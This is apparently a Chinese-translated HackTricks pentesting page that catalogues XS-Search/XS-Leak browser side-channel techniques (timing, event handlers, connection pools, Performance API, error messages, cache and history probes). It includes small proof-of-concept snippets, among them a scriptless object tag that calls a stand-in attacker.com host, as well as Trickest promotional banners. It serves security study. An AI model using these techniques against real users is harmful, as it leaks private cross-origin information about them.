hacktricks/pentesting-web/xs-search/README.md

76 KiB
Raw Blame History

XS-Search/XS-Leaks

使用 **** 轻松构建和 自动化工作流程,由世界上 最先进 的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}

{% hint style="success" %} 学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

基本信息

XS-Search 是一种通过利用 侧信道漏洞提取跨源信息 的方法。

此攻击涉及的关键组件包括:

  • 易受攻击的网页:目标网站,信息旨在从中提取。
  • 攻击者的网站:攻击者创建的恶意网站,受害者访问,托管漏洞利用。
  • 包含方法用于将易受攻击的网页纳入攻击者网站的技术例如window.open、iframe、fetch、带 href 的 HTML 标签等)。
  • 泄漏技术:用于根据通过包含方法收集的信息来辨别易受攻击网页状态差异的技术。
  • 状态:易受攻击网页的两种潜在条件,攻击者旨在区分。
  • 可检测差异:攻击者依赖于可观察的变化来推断易受攻击网页的状态。

可检测差异

可以分析多个方面以区分易受攻击网页的状态:

  • 状态码:区分 各种 HTTP 响应状态码 跨源,如服务器错误、客户端错误或身份验证错误。
  • API 使用:识别跨页面的 Web API 使用,揭示跨源页面是否使用特定的 JavaScript Web API。
  • 重定向:检测导航到不同页面,不仅是 HTTP 重定向,还有由 JavaScript 或 HTML 触发的重定向。
  • 页面内容:观察 HTTP 响应体中的变化 或页面子资源中的变化,例如 嵌入框的数量 或图像的大小差异。
  • HTTP 头:注意 特定 HTTP 响应头 的存在或可能的值,包括 X-Frame-Options、Content-Disposition 和 Cross-Origin-Resource-Policy 等头。
  • 时间:注意两种状态之间的一致时间差异。

包含方法

  • HTML 元素HTML 提供多种元素用于 跨源资源包含,如样式表、图像或脚本,迫使浏览器请求非 HTML 资源。可以在 https://github.com/cure53/HTTPLeaks 找到潜在 HTML 元素的汇编。
  • 框架:如 iframeobjectembed 等元素可以将 HTML 资源直接嵌入攻击者页面。如果页面 缺乏框架保护JavaScript 可以通过 contentWindow 属性访问框架资源的窗口对象。
  • 弹出窗口window.open 方法在新标签页或窗口中打开资源,为 JavaScript 提供 窗口句柄,以便与遵循 SOP 的方法和属性进行交互。弹出窗口通常用于单点登录,绕过目标资源的框架和 cookie 限制。然而,现代浏览器限制弹出窗口的创建,仅限于某些用户操作。
  • JavaScript 请求JavaScript 允许使用 XMLHttpRequestsFetch API 直接请求目标资源。这些方法提供对请求的精确控制,例如选择跟随 HTTP 重定向。

泄漏技术

  • 事件处理程序XS-Leaks 中的一种经典泄漏技术,事件处理程序如 onloadonerror 提供有关资源加载成功或失败的见解。
  • 错误消息JavaScript 异常或特殊错误页面可以直接从错误消息中提供泄漏信息,或通过区分其存在与否来提供信息。
  • 全局限制:浏览器的物理限制,如内存容量或其他强制的浏览器限制,可以在达到阈值时发出信号,作为泄漏技术。
  • 全局状态:可检测与浏览器 全局状态(例如,历史接口)的交互可以被利用。例如,浏览器历史中的 条目数量 可以提供有关跨源页面的线索。
  • 性能 API:该 API 提供 当前页面的性能细节,包括文档和加载资源的网络时序,使得可以推断请求的资源。
  • 可读属性:某些 HTML 属性是 跨源可读 的,可以用作泄漏技术。例如,window.frame.length 属性允许 JavaScript 计算跨源网页中包含的框架数量。

XSinator 工具与论文

XSinator 是一个自动化工具,用于 检查浏览器是否存在多种已知的 XS-Leaks,详见其论文:https://xsinator.com/paper.pdf

您可以 访问该工具 https://xsinator.com/

{% hint style="warning" %} 排除的 XS-Leaks:我们不得不排除依赖 服务工作者 的 XS-Leaks因为它们会干扰 XSinator 中的其他泄漏。此外,我们选择 排除依赖特定 Web 应用程序中的配置错误和漏洞的 XS-Leaks。例如跨源资源共享CORS配置错误、postMessage 泄漏或跨站脚本。此外,我们还排除了基于时间的 XS-Leaks因为它们通常存在缓慢、嘈杂和不准确的问题。 {% endhint %}


使用 Trickest 轻松构建和 自动化工作流程,由世界上 最先进 的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}

基于时间的技术

以下一些技术将使用时间作为检测网页可能状态差异的过程的一部分。测量时间在网页浏览器中有不同的方法。

时钟 performance.now() API 允许开发人员获取高分辨率的时间测量。
攻击者可以滥用相当数量的 API 来创建隐式时钟:Broadcast Channel APIMessage Channel APIrequestAnimationFramesetTimeout、CSS 动画等。
更多信息请参见:https://xsleaks.dev/docs/attacks/timing-attacks/clocks

事件处理程序技术

Onload/Onerror

{% content-ref url="cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

代码示例尝试 从 JS 加载脚本对象,但 其他标签 如对象、样式表、图像、音频也可以使用。此外,还可以直接注入 标签 并在标签内声明 onloadonerror 事件(而不是从 JS 注入)。

该攻击还有一个无脚本版本:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

在这种情况下,如果 example.com/404 未找到,将加载 attacker.com/?error

加载时机

{% content-ref url="performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

加载时机 + 强制重任务

此技术与前一种相似,但 攻击者 还将 强制 一些操作以花费 相关的时间,无论 答案是正面还是负面,并测量该时间。

{% content-ref url="performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

卸载/卸载前时机

获取资源所需的时间可以通过利用 unloadbeforeunload 事件来测量。beforeunload 事件在浏览器即将导航到新页面时触发,而 unload 事件在实际进行导航时发生。这两个事件之间的时间差可以计算出 浏览器获取资源所花费的时间

沙箱框架时机 + 加载

已观察到,在没有 框架保护 的情况下,攻击者可以测量页面及其子资源在网络上加载所需的时间。此测量通常是可能的,因为 iframe 的 onload 处理程序仅在资源加载和 JavaScript 执行完成后触发。为了绕过脚本执行引入的可变性,攻击者可能会在 <iframe> 中使用 sandbox 属性。包含此属性会限制许多功能,特别是 JavaScript 的执行,从而促进主要受网络性能影响的测量。

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: 如果您可以在访问正确内容时使页面出错,并在访问任何内容时使其正确加载,那么您可以创建一个循环来提取所有信息,而无需测量时间。
  • Code Example:

假设您可以插入包含秘密内容的页面****在一个 Iframe 中。

您可以让受害者搜索包含“flag”的文件,使用Iframe(例如利用 CSRF。在 Iframe 内,您知道 onload 事件至少执行一次。然后,您可以更改 iframeURL,但只更改 URLhash内容

例如:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

如果第一个 URL 成功加载,那么,当更改 URL 的 hash 部分时,onload 事件不会再次触发。但是如果页面在加载时出现某种错误,那么,onload 事件将再次触发

然后,您可以区分一个正确加载的页面或访问时有错误的页面。

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: 如果页面正在返回****敏感内容,可以由用户控制内容。用户可以在负面情况下设置有效的 JS 代码,并在每次尝试中加载在**<script>** 标签内,因此在负面情况下攻击者的代码会被执行,而在肯定情况下什么都不会被执行。
  • Code Example:

{% content-ref url="javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Status Code & Headers
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: 跨源读取阻止 (CORB) 是一种安全措施,防止网页加载某些敏感的跨源资源,以保护免受Spectre等攻击。然而,攻击者可以利用其保护行为。当受CORB保护的响应返回带有 nosniffCORB 保护 Content-Type2xx 状态码时,CORB 会剥离响应的主体和头部。观察到这一点的攻击者可以推断出状态码(指示成功或错误)和 Content-Type(表示是否受到CORB保护)的组合,从而导致潜在的信息泄露。
  • Code Example:

查看更多信息链接以获取有关攻击的更多信息。

onblur

可以在一个 iframe加载一个页面并使用 #id_value 使页面聚焦于指定的 iframe 元素,然后如果触发了**onblur** 信号,则 ID 元素存在。
您可以使用 portal 标签执行相同的攻击。

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Usage
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: 从 postMessage 收集敏感信息或使用 postMessages 的存在作为 oracle 来了解用户在页面上的状态
  • Code Example: 任何监听所有 postMessages 的代码。

应用程序经常利用 postMessage 广播 在不同源之间进行通信。然而,如果 targetOrigin 参数未正确指定,这种方法可能会无意中暴露敏感信息,允许任何窗口接收消息。此外,接收消息的行为本身可以充当oracle;例如,某些消息可能仅发送给已登录的用户。因此,这些消息的存在或缺失可以揭示有关用户状态或身份的信息,例如他们是否经过身份验证。

使用 Trickest 轻松构建和自动化工作流,由世界上最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}

Global Limits Techniques

WebSocket API

可以识别目标页面使用的WebSocket 连接的数量。它允许攻击者检测应用程序状态并泄露与 WebSocket 连接数量相关的信息。

如果一个使用最大数量的 WebSocket连接对象,无论其连接状态如何,创建新对象将导致 JavaScript 异常。要执行此攻击,攻击者网站在弹出窗口或 iframe 中打开目标网站,然后在目标网页加载后,尝试创建尽可能多的 WebSocket 连接。抛出的异常数量就是目标网站窗口使用的WebSocket 连接数量

Payment API

此 XS-Leak 使攻击者能够检测跨源页面何时发起支付请求

因为一次只能激活一个支付请求,如果目标网站正在使用支付请求 API任何进一步尝试使用此 API 的请求将失败,并导致JavaScript 异常。攻击者可以通过定期尝试显示支付 API UI来利用这一点。如果一次尝试导致异常,则目标网站当前正在使用它。攻击者可以通过在创建后立即关闭 UI 来隐藏这些定期尝试。

Timing the Event Loop

{% content-ref url="event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScript 在 单线程事件循环 并发模型上运行,这意味着它一次只能执行一个任务。这一特性可以被利用来评估来自不同源的代码执行所需的时间。攻击者可以通过不断调度具有固定属性的事件来测量其代码在事件循环中的执行时间。这些事件将在事件池为空时被处理。如果其他源也在向同一池调度事件,攻击者可以通过观察自己任务执行的延迟来推断这些外部事件执行所需的时间。这种监控事件循环延迟的方法可以揭示来自不同源的代码的执行时间,可能会暴露敏感信息。

{% hint style="warning" %} 在执行时间测量中,可以消除 网络因素以获得更精确的测量。例如,通过在加载页面之前加载所使用的资源。 {% endhint %}

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: 一种测量网页操作执行时间的方法是故意阻塞线程的事件循环,然后计时事件循环再次可用所需的时间。通过在事件循环中插入阻塞操作(例如长时间计算或同步 API 调用),并监控后续代码开始执行所需的时间,可以推断出在阻塞期间事件循环中执行的任务的持续时间。这种技术利用了 JavaScript 事件循环的单线程特性,其中任务是顺序执行的,并且可以提供有关共享同一线程的其他操作的性能或行为的见解。
  • Code Example:

通过锁定事件循环来测量执行时间的技术的一个显著优势是其潜在的绕过站点隔离站点隔离是一种安全功能,将不同网站分隔到不同的进程中,旨在防止恶意网站直接访问其他网站的敏感数据。然而,通过通过共享事件循环影响另一个源的执行时间,攻击者可以间接提取有关该源活动的信息。这种方法不依赖于直接访问其他源的数据,而是观察该源活动对共享事件循环的影响,从而规避站点隔离建立的保护屏障。

{% hint style="warning" %} 在执行时间测量中,可以消除 网络因素以获得更精确的测量。例如,通过在加载页面之前加载所使用的资源。 {% endhint %}

Connection Pool

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: 攻击者可以锁定所有套接字,除了 1 个,加载目标网页,同时加载另一个页面,直到最后一个页面开始加载的时间就是目标页面加载所需的时间。
  • Code Example:

{% content-ref url="connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

浏览器利用套接字进行服务器通信,但由于操作系统和硬件的资源有限,浏览器被迫施加限制,限制并发套接字的数量。攻击者可以通过以下步骤利用这一限制:

  1. 确定浏览器的套接字限制例如256 个全局套接字。
  2. 通过向不同主机发起 255 个请求,长时间占用 255 个套接字,旨在保持连接开放而不完成。
  3. 使用第 256 个套接字向目标页面发送请求。
  4. 尝试向另一个主机发起第 257 个请求。由于所有套接字都在使用中(根据步骤 2 和 3此请求将被排队直到有套接字可用。此请求进行之前的延迟为攻击者提供了与第 256 个套接字(目标页面的套接字)相关的网络活动的时间信息。这种推断是可能的,因为步骤 2 中的 255 个套接字仍在使用,这意味着任何新可用的套接字必须是步骤 3 中释放的套接字。因此,第 256 个套接字变为可用所需的时间与请求目标页面完成所需的时间直接相关。

更多信息请参见:https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info:
  • Summary: 这与前一种技术类似,但 Google Chrome同一源的并发请求设置了6 个限制。如果我们阻塞 5 个,然后发起第 6 个请求,我们可以计时,如果我们设法让受害者页面发送更多请求到同一端点以检测页面的状态,第 6 个请求将需要更长时间,我们可以检测到。

Performance API Techniques

Performance API 提供了对 Web 应用程序性能指标的洞察,进一步通过 Resource Timing API 得到增强。资源计时 API 使监控详细的网络请求时序成为可能,例如请求的持续时间。值得注意的是,当服务器在其响应中包含 Timing-Allow-Origin: * 头时,传输大小和域查找时间等附加数据将变得可用。

这些数据可以通过 performance.getEntriesperformance.getEntriesByName 等方法检索提供全面的性能相关信息。此外API 还通过计算从 performance.now() 获取的时间戳之间的差异来测量执行时间。然而,值得注意的是,对于 Chrome 等浏览器中的某些操作,performance.now() 的精度可能仅限于毫秒,这可能会影响时间测量的粒度。

除了时间测量外Performance API 还可以用于安全相关的洞察。例如Chrome 中 performance 对象中页面的存在或缺失可以指示 X-Frame-Options 的应用。具体而言,如果由于 X-Frame-Options 而阻止页面在框架中呈现,则不会在 performance 对象中记录该页面,从而提供有关页面框架策略的微妙线索。

Error Leak

可以区分 HTTP 响应状态码,因为导致错误的请求不会创建性能条目

Style Reload Error

在前一种技术中,还识别出浏览器中的两个案例,导致资源在加载失败时被加载两次。这将导致性能 API 中出现多个条目,因此可以被检测到。

Request Merging Error

该技术在提到的论文中的表格中被发现,但没有找到该技术的描述。然而,您可以在 https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak 中检查源代码。

Empty Page Leak

攻击者可以检测请求是否导致空 HTTP 响应体,因为空页面在某些浏览器中不会创建性能条目

XSS-Auditor Leak

在安全声明 (SA) 中XSS 审计器最初旨在防止跨站脚本 (XSS) 攻击,但可以悖论地被利用来泄露敏感信息。尽管此内置功能已从 Google Chrome (GC) 中删除,但在 SA 中仍然存在。2013 年Braun 和 Heiderich 证明 XSS 审计器可能会意外阻止合法脚本,导致误报。在此基础上,研究人员开发了提取信息和检测跨源页面特定内容的技术,这一概念被称为 XS-Leaks最初由 Terada 报告,并由 Heyes 在博客文章中详细阐述。尽管这些技术特定于 GC 中的 XSS 审计器,但发现 SA 中被 XSS 审计器阻止的页面不会在性能 API 中生成条目,从而揭示了一种可能仍然泄露敏感信息的方法。

X-Frame Leak

如果页面不允许iframe呈现,则不会创建性能条目。因此,攻击者可以检测响应头**X-Frame-Options
使用
embed** 标签时也是如此。

Download Detection

与描述的 XS-Leak 类似,由于 ContentDisposition 头,被下载的资源不会创建性能条目。此技术在所有主要浏览器中均有效。

Redirect Start Leak

我们发现一个 XS-Leak 实例,利用某些浏览器记录过多跨源请求信息的行为。标准定义了一组应为跨源资源设置为零的属性。然而,在SA中,可以通过查询性能 API并检查redirectStart 计时数据来检测用户是否被目标页面重定向

Duration Redirect Leak

在 GC 中,导致重定向的请求的持续时间,因此可以与不导致重定向的请求区分开来。

CORP Leak

在某些情况下,nextHopProtocol 条目可以用作泄露技术。在 GC 中,当设置CORP 头nextHopProtocol 将是的。请注意SA 对于启用 CORP 的资源根本不会创建性能条目。

Service Worker

服务工作者是事件驱动的脚本上下文,在一个源上运行。它们在网页的后台运行,可以拦截、修改和缓存资源以创建离线 Web 应用程序。
如果通过iframe访问服务工作者缓存的资源,该资源将从服务工作者缓存加载
要检测资源是否从服务工作者缓存中加载,可以使用性能 API
这也可以通过计时攻击来完成(有关更多信息,请查看论文)。

Cache

使用 Performance API 可以检查资源是否被缓存。

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

The MediaError 接口的 message 属性唯一标识成功加载的资源,具有独特的字符串。攻击者可以通过观察消息内容来利用此特性,从而推断跨源资源的响应状态。

CORS 错误

此技术使攻击者能够提取跨源站点重定向的目标,通过利用基于 Webkit 的浏览器处理 CORS 请求的方式。具体而言,当向目标站点发送启用 CORS 的请求,该站点根据用户状态发出重定向,而浏览器随后拒绝该请求时,重定向目标的完整 URL会在错误消息中披露。此漏洞不仅揭示了重定向的事实,还暴露了重定向的端点及其可能包含的任何敏感查询参数

SRI 错误

攻击者可以利用详细的错误消息推断跨源响应的大小。这是由于子资源完整性 (SRI) 的机制,该机制使用完整性属性验证从 CDN 获取的资源未被篡改。为了使 SRI 在跨源资源上工作,这些资源必须是启用 CORS 的;否则,它们不受完整性检查。在安全声明 (SA) 中,类似于 CORS 错误 XS-Leak当带有完整性属性的 fetch 请求失败时,可以捕获错误消息。攻击者可以故意触发此错误,通过将虚假的哈希值分配给任何请求的完整性属性。在 SA 中,结果错误消息无意中揭示了请求资源的内容长度。这一信息泄露使攻击者能够识别响应大小的变化,为复杂的 XS-Leak 攻击铺平了道路。

CSP 违规/检测

XS-Leak 可以使用 CSP 检测跨源站点是否重定向到不同的源。此泄漏可以检测重定向,但此外,重定向目标的域也会泄漏。此攻击的基本思路是在攻击者网站上允许目标域。一旦向目标域发出请求,它重定向到一个跨源域。CSP 阻止对其的访问并创建一个违规报告作为泄漏技术。根据浏览器的不同,此报告可能泄漏重定向的目标位置
现代浏览器不会指示重定向到的 URL但您仍然可以检测到触发了跨源重定向。

缓存

浏览器可能为所有网站使用一个共享缓存。无论其来源如何,都可以推断目标页面是否请求了特定文件

如果一个页面仅在用户登录时加载图像,您可以使资源失效(以便如果它被缓存则不再缓存,更多信息链接),执行请求以加载该资源,并尝试使用错误请求加载该资源(例如,使用过长的 referer 头)。如果资源加载没有触发任何错误,则是因为它被缓存

CSP 指令

Google Chrome (GC) 中的一个新功能允许网页通过在 iframe 元素上设置属性来提议内容安全策略 (CSP),并将策略指令与 HTTP 请求一起传输。通常,嵌入的内容必须通过 HTTP 头进行授权,否则将显示错误页面。然而,如果 iframe 已经受到 CSP 的管理,并且新提议的策略不更严格,则页面将正常加载。此机制为攻击者打开了一条路径,通过识别错误页面来检测跨源页面的特定 CSP 指令。尽管此漏洞被标记为已修复,但我们的发现揭示了一种新的泄漏技术,能够检测错误页面,表明根本问题从未完全解决。

CORP

CORP 头是一个相对较新的网络平台安全特性,当设置时阻止对给定资源的无 CORS 跨源请求。可以检测到该头的存在,因为受 CORP 保护的资源在获取时会抛出错误

CORB

请查看链接以获取有关攻击的更多信息。

CORS 错误在源反射错误配置

如果Origin 头Access-Control-Allow-Origin 头中被反射,攻击者可以利用此行为尝试在CORS 模式下获取资源。如果没有触发错误,则意味着它是正确地从网络获取的;如果触发了错误,则是因为它是从缓存中访问的(错误出现是因为缓存保存了一个带有允许原始域而不是攻击者域的 CORS 头的响应)。
请注意,如果原点未被反射但使用了通配符(Access-Control-Allow-Origin: *),则此方法将无效。

可读属性技术

Fetch 重定向

使用 Fetch API 提交请求,设置 redirect: "manual" 和其他参数,可以读取 response.type 属性,如果它等于 opaqueredirect,则响应是重定向。

COOP

攻击者能够推断跨源 HTTP 响应中跨源打开策略 (COOP) 头的存在。COOP 被网络应用程序用于阻止外部站点获取任意窗口引用。可以通过尝试访问**contentWindow 引用来识别此头的可见性。在 COOP 有条件应用的情况下,opener 属性成为一个明显的指示器:当 COOP 活动时,它是未定义的**,而在没有 COOP 的情况下是定义的

URL 最大长度 - 服务器端

如果服务器端重定向使用用户输入进行重定向额外数据。可以检测到这种行为,因为通常服务器请求长度限制。如果用户数据长度 - 1,因为重定向使用该数据添加一些额外的内容,它将触发一个可通过错误事件检测到的错误

如果您可以以某种方式将 cookies 设置给用户,您还可以通过设置足够的 cookiescookie bomb)来执行此攻击,因此正确响应响应大小增加时会触发一个错误。在这种情况下,请记住,如果您从同一站点触发此请求,<script> 将自动发送 cookies因此您可以检查错误
有关cookie bomb + XS-Search的示例可以在此写作的意图解决方案中找到:https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None 或处于相同上下文通常是此类攻击所需的。

URL 最大长度 - 客户端

根据 Chromium 文档Chrome 的最大 URL 长度为 2MB。

一般来说,web 平台 对 URL 的长度没有限制(尽管 2^31 是一个常见限制)。Chrome 将 URL 限制为最大长度 2MB,出于实际原因并避免在进程间通信中造成拒绝服务问题。

因此,如果重定向 URL 的响应在某些情况下更大,则可以使其重定向到大于 2MB 的 URL以达到长度限制。当发生这种情况时Chrome 会显示一个**about:blank#blocked** 页面。

显著差异是,如果重定向完成window.origin 会抛出一个错误,因为跨源无法访问该信息。然而,如果限制被****触发并且加载的页面是**about:blank#blocked,则窗口的origin** 保持为父级的值,这是一个可访问的信息

所有达到2MB所需的额外信息可以通过初始 URL 中的哈希添加,以便在重定向中使用

{% content-ref url="url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

最大重定向

如果浏览器的最大重定向次数为20,攻击者可以尝试用19 次重定向加载他的页面,最后将受害者发送到测试页面。如果触发了错误,则页面试图重定向受害者

历史长度

历史 API 允许 JavaScript 代码操纵浏览器历史记录,保存用户访问的页面。攻击者可以使用长度属性作为包含方法:检测 JavaScript 和 HTML 导航。
检查 history.length,使用户导航到一个页面,返回到同源并检查新的**history.length**值。

同一 URL 的历史长度

  • 包含方法: 框架, 弹出窗口
  • 可检测差异: 如果 URL 与猜测的 URL 相同
  • 总结: 可以通过历史长度猜测框架/弹出窗口的位置是否在特定 URL 中。
  • 代码示例: 以下

攻击者可以使用 JavaScript 代码操纵框架/弹出窗口的位置到猜测的 URL,并立即将其更改为 about:blank。如果历史长度增加,则意味着 URL 是正确的,并且有时间增加,因为如果 URL 相同则不会重新加载。如果没有增加,则意味着它尝试加载猜测的 URL,但因为我们立即之后加载了**about:blank,所以历史长度在加载猜测的 URL 时从未增加**。

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame Counting

计算通过 iframewindow.open 打开的 网页中的框架数量 可能有助于识别 用户在该页面上的状态
此外,如果页面始终具有相同数量的框架,持续 检查框架数量可能有助于识别可能泄露信息的 模式

这种技术的一个例子是,在 Chrome 中,PDF 可以通过 框架计数检测到,因为内部使用了 embed。有一些 Open URL Parameters 允许对内容进行一些控制,例如 zoomviewpagetoolbar,在这种情况下,这种技术可能会很有趣。

HTMLElements

通过 HTML 元素的信息泄露是网络安全中的一个问题,特别是当动态媒体文件基于用户信息生成时,或者当添加水印时,改变媒体大小。攻击者可以利用这一点,通过分析某些 HTML 元素暴露的信息来区分可能的状态。

Information Exposed by HTML Elements

CSS Property

Web 应用程序可能会根据用户的状态更改 网站样式。跨域 CSS 文件可以通过 HTML link 元素 嵌入到攻击者页面中,规则 将被 应用 到攻击者页面。如果页面动态更改这些规则,攻击者可以根据用户状态 检测 这些 差异
作为一种泄露技术,攻击者可以使用 window.getComputedStyle 方法来 读取 CSS 属性。结果,攻击者可以读取任意 CSS 属性,只要知道受影响的元素和属性名称。

CSS History

{% hint style="info" %} 根据 这个,在无头 Chrome 中这不起作用。 {% endhint %}

CSS :visited 选择器用于在用户之前访问过的 URL 上应用不同的样式。过去,可以使用 getComputedStyle() 方法来识别这些样式差异。然而,现代浏览器已实施安全措施,以防止此方法泄露链接的状态。这些措施包括始终返回计算样式,仿佛链接已被访问,并限制可以使用 :visited 选择器应用的样式。

尽管有这些限制,但可以间接识别链接的访问状态。一种技术涉及诱使用户与受 CSS 影响的区域进行交互,特别是利用 mix-blend-mode 属性。该属性允许元素与其背景混合,可能根据用户交互揭示访问状态。

此外可以通过利用链接的渲染时间来实现无用户交互的检测。由于浏览器可能以不同方式渲染已访问和未访问的链接这可能在渲染中引入可测量的时间差。一个概念证明PoC在 Chromium 错误报告中提到,演示了使用多个链接来放大时间差,从而使访问状态通过时间分析可检测。

有关这些属性和方法的更多详细信息,请访问其文档页面:

ContentDocument X-Frame Leak

在 Chrome 中,如果一个带有 X-Frame-Options 头设置为 "deny" 或 "same-origin" 的页面作为对象嵌入则会出现错误页面。Chrome 独特地为该对象的 contentDocument 属性返回一个空文档对象(而不是 null),与在 iframe 或其他浏览器中的表现不同。攻击者可以通过检测空文档来利用这一点,可能揭示用户状态的信息,特别是如果开发人员不一致地设置 X-Frame-Options 头,通常会忽视错误页面。意识到并一致应用安全头对于防止此类泄露至关重要。

Download Detection

Content-Disposition 头,特别是 Content-Disposition: attachment,指示浏览器下载内容而不是内联显示。可以利用这种行为来检测用户是否可以访问触发文件下载的页面。在基于 Chromium 的浏览器中,有几种技术可以检测这种下载行为:

  1. 下载栏监控
  • 当在基于 Chromium 的浏览器中下载文件时,浏览器窗口底部会出现下载栏。
  • 通过监控窗口高度的变化,攻击者可以推断下载栏的出现,表明下载已启动。
  1. 使用 Iframe 的下载导航
  • 当页面使用 Content-Disposition: attachment 头触发文件下载时,它不会导致导航事件。
  • 通过在 iframe 中加载内容并监控导航事件,可以检查内容处置是否导致文件下载(无导航)或不是。
  1. 不使用 Iframe 的下载导航
  • 类似于 iframe 技术,此方法涉及使用 window.open 而不是 iframe。
  • 监控新打开窗口中的导航事件可以揭示是否触发了文件下载(无导航)或内容是否内联显示(发生导航)。

在只有登录用户可以触发此类下载的情况下,这些技术可以用来间接推断用户的身份验证状态,基于浏览器对下载请求的响应。

Partitioned HTTP Cache Bypass

{% hint style="warning" %} 这就是为什么这个技术很有趣Chrome 现在有 缓存分区,新打开页面的缓存键是:(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx),但如果我打开一个 ngrok 页面并在其中使用 fetch缓存键将是(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)缓存键是不同的,因此缓存不能共享。您可以在这里找到更多细节:通过分区缓存获得安全性和隐私
(来自 这里 的评论) {% endhint %}

如果一个站点 example.com 包含来自 *.example.com/resource 的资源,那么该资源将具有与通过顶级导航直接 请求 该资源时 相同的缓存键。这是因为缓存键由顶级 eTLD+1 和框架 eTLD+1 组成。

因为访问缓存比加载资源更快,所以可以尝试更改页面的位置并在 20 毫秒(例如)后取消它。如果在停止后更改了源,则意味着资源已被缓存。
或者可以 向潜在缓存页面发送一些 fetch 并测量所需时间

Manual Redirect

Fetch with AbortController

使用 fetchsetTimeout 结合 AbortController 来检测 资源是否被缓存 并将特定资源从浏览器缓存中驱逐。此外,该过程在不缓存新内容的情况下进行。

Script Pollution

Service Workers

在给定的场景中,攻击者主动在其域名之一 "attacker.com" 中注册一个 服务工作者。接下来,攻击者从主文档中在目标网站打开一个新窗口,并指示 服务工作者 开始计时器。当新窗口开始加载时,攻击者将前一步获得的引用导航到由 服务工作者 管理的页面。

在前一步发起的请求到达时,服务工作者204 (No Content) 状态码响应,有效地终止导航过程。此时,服务工作者 捕获从第二步开始的计时器的测量。该测量受 JavaScript 导致的导航过程延迟的影响。

{% hint style="warning" %} 在执行计时中,可以 消除 网络因素 以获得 更精确的测量。例如,通过在加载页面之前加载页面使用的资源。 {% endhint %}

Fetch Timing

Cross-Window Timing


使用 Trickest 轻松构建和 自动化工作流,由世界上 最先进 的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}

With HTML or Re Injection

在这里,您可以找到从跨域 HTML 注入 HTML 内容 中提取信息的技术。这些技术在您出于任何原因可以 注入 HTML 但无法注入 JS 代码 的情况下很有趣。

Dangling Markup

{% content-ref url="../dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

Image Lazy Loading

如果您需要 提取内容 并且可以在 秘密之前添加 HTML,您应该检查 常见的悬挂标记技术
